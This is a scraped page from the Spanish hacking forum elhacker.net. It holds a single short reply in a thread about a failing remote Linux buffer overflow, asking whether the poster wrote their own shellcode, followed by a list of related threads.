* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
not-all0w3d

Desconectado Desconectado

Mensajes: 9


Ver Perfil
Re: ¿ Fallo BoF Remoto Linux ?
« Respuesta #14 en: 21 Marzo 2011, 15:54 »

Hay una extraña sensación en mi, que me indica sólo una cosa, el que no programa su propia shellcode, no está listo para solucionar todo tipo de problemas..

No he leído bien y replanteo la pregunta, ¿has hecho tú la shellcode?
En línea
Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Fallo al instalar linux
GNU/Linux
mundo 3 448 Último mensaje 14 Febrero 2004, 13:13
por mundo
Fallo de seguridad en el kernel de Linux
Noticias
..sR. aDiKtO.. 2 858 Último mensaje 16 Junio 2004, 17:48
por ..sR. aDiKtO..
escritorio remoto Windows-Linux
GNU/Linux
nonex 12 1,841 Último mensaje 14 Julio 2006, 22:42
por kmorfo
2 dudas: inalambrica en win&linux y fallo smc
Hacking Wireless
b01n4v3rt 3 445 Último mensaje 7 Marzo 2007, 23:37
por b01n4v3rt
Control Remoto Windows/Linux
GNU/Linux
EvilGoblin 3 1,402 Último mensaje 5 Septiembre 2009, 21:35
por El As del Club Paris
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines